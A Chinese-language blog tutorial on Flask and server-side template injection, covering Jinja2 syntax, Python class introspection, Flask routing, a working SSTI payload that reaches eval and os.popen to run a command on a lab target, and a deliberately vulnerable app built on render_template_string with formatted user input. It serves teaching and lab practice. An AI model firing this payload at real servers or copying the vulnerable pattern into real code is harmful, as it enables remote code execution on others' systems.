flask部分漏洞

Flask

前置知识

什么是flask

Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务,在介绍Flask之前首先来聊下它和Django的联系以及区别,django个大而全的web框架,它内置许多模块,flask是一个小而精的轻量级框架,Django功能大而全,Flask只包含基本的配置, Django的一站式解决的思路,能让开发者不用在开发之前就在选择应用的基础设施上花费大量时间。Django有模板,表单,路由,基本的数据库管理等等内建功能。与之相反,Flask只是一个内核,默认依赖于2个外部库: Jinja2 模板引擎和 WSGI工具集--Werkzeug , flask的使用特点是基本所有的工具使用都依赖于导入的形式去扩展,flask只保留了web开发的核心功能。

什么是ssti

(1) 服务端模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

  • 常见的模板引擎有 Java 的 Thymeleaf,Python 的 Flask 等。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI(Server-Side Template Injection) 服务端模板注入

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

  • 在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。
  • jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
  • 在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式。
  • 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
(2) 注入的理解
注入的本质就是格式化字符串漏洞的一种体现。

开发者本来认为我们应该插入正常数据的地方插入了 SQL 语句,这就破坏了原本的 SQL 语句的格式,从而执行了与原句完全不同含义的 SQL 语句达到了攻击者的目的,同理 XSS 在有些情况下的闭合标签的手法也是利用了格式化字符串这种思想,总之,凡是出现注入的地方就有着格式化字符串的影子。

SSTI 的原因和 SQL 注入是一样的,也就是将语句闭合,产生注入的效果

ssti学习参考文章

(3)ssti注入检测流程

在这里插入图片描述

在这里插入图片描述

(4)父类和子类

object是父子关系的顶端,所有的数据类型最终的父类都是object

代码分析父子类
执行
class A: pass  #父类A

class B(A): pass

class C(B): pass

class D(B): pass

c=C()  #实例化成对象c

print(c.__class__)  #查看当前c属于的类

print(c.__class__.__base__)	#查看当前所属类的父类  本例中是B

print(c.__class__.__base__.__base__)

print(c.__class__.__base__.__base__.__base__)

print(c.__class__.__mro__)  #罗列所有的类

print(c.__class__.__mro__[1].__subclasses__())	#罗列出B(下标为1)下的子类

print(c.__class__.__mro__[1].__subclasses__()[1])  #用B类的子类

输出
<class '__main__.C'>
<class '__main__.B'>
<class '__main__.A'>
<class 'object'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
<class '__main__.D'>
魔术方法
  • __class__
    

    查找当前对象的所属类

  • __base__
    

    查看当前所属类的父类

  • __mro__
    

    查找当前类对象的所有继承类

  • __subclasses__
    

    查找父类下的所有子类

  • __globals__
    

    以dict形式返回函数所在模块命名空间中的所有变量

(5)flask中用到的url_for函数
1 什么是url?

url是统一资源定位符(Uniform Resource Locator的简写),对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。

在这里插入图片描述

一个URL由以下几部分组成:

scheme://host:port/path/?parameter=xxx#anchor
https://www.baidu.com/Public/linux/?fr=aladdin#23
  • scheme:代表的是访问的协议,一般为http或者https以及ftp等。
  • host:主机名,域名,比如www.baidu.com。
  • port:端口号。当你访问一个网站的时候,浏览器默认使用80端口。
  • path:路径。比如:www.baidu.com/Public/linux/?python=aladdin#23,www.baidu.com后面的Public/linux就是path。
  • query-string:查询字符串,比如:www.baidu.com/Public/linux/?python=aladdin#23,?后面的python=aladdin就是查询字符串。
  • anchor:锚点,后台一般不用管,前端用来做页面定位的。比如:https://www.oldboyedu.com/Public/linux/?fr=aladdin#23 ,#后面的23就是锚点。(锚点可用来作目录)
2 为什么要有url?

顾名思义统一资源定位符,是用来做定位用的,我们的web开发无非是要调用程序,而调用的具体程序我们称之为python的视图函数,URL建立了与Python视图函数一一对应的映射关系,通俗易懂可以理解为一条命令触发了一个python的函数或类。

3 如何应用url?
3.1 url和路由的区别。

我们调用接口需要调用的是一段具体的代码,也就是一个python类或者python函数,而url就是对这段代码的具体映射,也就是说我们可以通过url找到一个具体的python类或者python函数,这便是url。而路由是根据url定位到具体的pyhon类或python函数的程序,这段程序我们称之为路由。

在Flask程序中使用路由我们称之为注册路由,是使用程序实例提供的app.route()装饰器注册路由,而括号内的字符串就是url,注册路由的过程就是完成了 url和python类或函数映射的过程,可以理解为会有一张表保存了url与python类或函数的对应关系。这样我们以url访问flask就可以找到对应的程序。

例:

@app.route('/')
def hello_world():
    return 'Hello World!'

按照这种关系我们再写一个路由

@app.route('/student_list/')
def student_list():
    return 'students'
3.2 url传参的两种
3.2.1 动态路由传参

如果你仔细观察日常所用服务的某些URL格式,会发现很多地址中都包含可变部分。例如,你想根据学生的id找到具体的学生,http://127.0.0.1:5000/student_list/<student_id>/ 仍然在path部分 ,但是你没必要写多个路由,我们Flask支持这种可变的路由。

见代码:

@app.route('/student_list/<student_id>/')
def student_list(student_id):
    return '学生{}号的信息'.format(student_id)
123

在这里插入图片描述

关键字:在path中有可变的部分 ,达到了传参的效果,我们称之为动态路由传参

3.2.1.1 动态路由的过滤

可以对参数限定数据类型,比如上面的文章详情,限定student_id必须为整数类型

@app.route('/student_list/<int:student_id>/')
def article_detail(student_id):
    return '学生{}号的信息'.format(student_id)
123

在这里插入图片描述

在这里插入图片描述

主要有这几种类型过滤:

string: 默认的数据类型,接收没有任何斜杠"\ /"的字符串

int: 整型

float: 浮点型

path: 和string类型相似,但是接受斜杠,如:可以接受参数/aa/bb/cc/多条放在一起

uuid: 只接受uuid格式的字符串字符串,

✔ 提示:uuid为全宇宙唯一的串

上面几种约束均为如下格式,例子中的int可以换为 string,float,path,uuid

@app.route('/student_list/<int:student_id>/')
def article_detail(student_id):
    return '学生{}号的信息'.format(student_id)
123

any: 可以指定多种路径,如下面的例子

url_path的变量名是自己定义的

@app.route('/<any(student,class):url_path>/<id>/')
def item(url_path, id):
    if url_path == 'student':
        return '学生{}详情'.format(id)
    else:
        return '班级{}详情'.format(id)
123456

在这里插入图片描述

在这里插入图片描述

动态路由的适用场景?

如果想增加网站的曝光率,可以考虑使用动态路由,因为是把path作为参数,搜索引擎的算法会定义你为一个静态页面,不会经常改变,有利于搜索引擎的优化。但是如果是公司内部的管理系统就没有必要使用动态路由,因为内部系统对曝光率没有要求。

关键词

  • 上面我们接受参数使用的是path(路径)形式,这种传参的形式就叫动态路由传参,有利于搜索引擎的优化。
3.2.2 查询字符串传参

我们上面介绍了什么是查询字符串:

如果我们在浏览器中输入<www.baidu.com/s?wd=python&ad=flask>的参数,这个 后的key=value便是查询字符串,

可以写多个key=value用&相连我们将查询字符串作为参数去请求我们的flask程序,这便是查询字符串传参。

我们之前再注册路由的时候会在里面的path部分以及函数的形参设置参数来接受path的参数,我们在查询字符串传参的时候需要从flask模块里面导入request对象,用request.args属性在我们的程序中根据查询字符串的key取出查询字符串的value

argsrequest的一个属性,其本质是一个Werkzeug依赖包的的immutableMultiDict的对象,用于解析我们传入的查询字符串,immutableMultiDict对象也继承了Dict类,所以可以使用字典的.get()方法来获取,当然了如果我们有获取原生未解析的原生查询字符串的需求,可以使用query_string属性。

url_for实现函数找路由

from flask import Flask, url_for

app = Flask(__name__)

@app.route('/index')
def home():
    return f'Hello World!'

@app.route('/show_url')
def show_url():
    url = url_for('home') //第一个参数是函数的名字,但是返回的是该函数的路由地址
    return f'反向查找到的URL地址: {url}'

if __name__ == '__main__':
    app.run(debug=True)

flask ssti

靶场

访问http://ip:8000

在这里插入图片描述

接受参数name

在这里插入图片描述

在这里插入图片描述

payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

个人搭建

index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>个人简历</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 80%;
            margin: 20px auto;
            padding: 20px;
            border: 1px solid #ddd;
            position: relative;
        }
        h1 {
            text-align: center;
        }
        .info {
            margin-bottom: 20px;
        }
        .info label {
            font-weight: bold;
        }
        .info span {
            margin-left: 10px;
        }
        .education, .experience {
            margin-bottom: 20px;
        }
        .education h2, .experience h2 {
            border-bottom: 1px solid #ddd;
            padding-bottom: 5px;
        }
        .education ul, .experience ul {
            list-style-type: none;
            padding: 0;
        }
        .education ul li, .experience ul li {
            margin-bottom: 10px;
        }
        .profile-image {
            position: absolute; 
            top: 20px; 
            right: 20px; 
            width: 100px; 
            height: auto; 
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>个人简历</h1>
        <div class="info">
            <label>姓名:</label><span>ykkx</span>
        </div>
        <div class="info">
            <label>性别:</label><span>男</span>
        </div>
        <div class="info">
            <label>年龄:</label><span>18岁</span>
        </div>
        <div class="info">
            <label>电话:</label><span>1008611</span>
        </div>
        <div class="info">
            <label>邮箱:</label><span>ykkx@qq.com</span>
        </div>
        
        <div class="education">
            <h2>教育背景</h2>
            <ul>
                <li>2022年-2024年,网络工程专业,本科</li>
            </ul>
        </div>
        
        <div class="experience">
            <h2>工作经历</h2>
            <ul>
                <li>
                    <strong>2023年-至今,某网络安全公司,网络安全工程师</strong>
                    <p>
                        在此期间,我负责公司的网络安全防护和监控,具体职责包括:
                        <ul>
                            <li>设计和实施网络安全策略,确保公司网络和数据的安全。</li>
                            <li>进行网络安全风险评估,及时发现并修复潜在的安全漏洞。</li>
                            <li>监控网络活动,分析异常行为,预防和响应网络攻击。</li>
                            <li>负责入侵检测系统(IDS)和入侵防御系统(IPS)的配置和维护。</li>
                            <li>执行安全审计,确保公司遵守相关法规和标准。</li>
                            <li>进行安全培训和意识提升,提高员工对网络安全的认识。</li>
                            <li>参与应急响应,处理网络安全事件。</li>
                        </ul>
                    </p>
                </li>
            </ul>
        </div>
        
    </div>

 {{ssti}}

</body>
</html>
app.py
from flask import Flask,render_template,request

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    ssti=request.args.get('ykkx')
    return render_template("index.html",ssti=ssti)

@app.route('/test/ykkx/')
def ykkx_test():
    print("successful!!!")
    return "you are right!!!"

@app.route('/test2')
def test2():
    ykkxT = request.args.get('ykkxT')  # 获取 URL 查询参数 'ykkxT'
    return "this is your input string: " + ykkxT

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='6686')

分析

通过get传参的方式将ykkx的值赋给ssti,ssti通过render_template加载到body中,ssti是被{{}}包括起来的,会被预先渲染转义,然后才被输出,不会被渲染执行

在这里插入图片描述

修改代码使之产生漏洞

app.py

from flask import Flask,render_template_string,request

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    ssti=request.args.get('ykkx')

    html_new='''
        <html>
        <head>this is test</head>
        <body>this is a test about ssti<br>{0}</body>
        </html> '''.format(ssti)


    return render_template_string(html_new)

@app.route('/test/ykkx/')
def ykkx_test():
    print("successful!!!")
    return "you are right!!!"

@app.route('/test2')
def test2():
    ykkxT = request.args.get('ykkxT')  # 获取 URL 查询参数 'ykkxT'
    return "this is your input string: " + ykkxT

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='6686')
                                   

在这里插入图片描述

在这里插入图片描述

分析,ssti值通过format()函数填充到body中间,{}里可以定义任何参数,return render_template_string会把{}内的字符串当成代码指令

posted @ 2025-05-11 09:10  ykkx  阅读(244)  评论(0)    收藏  举报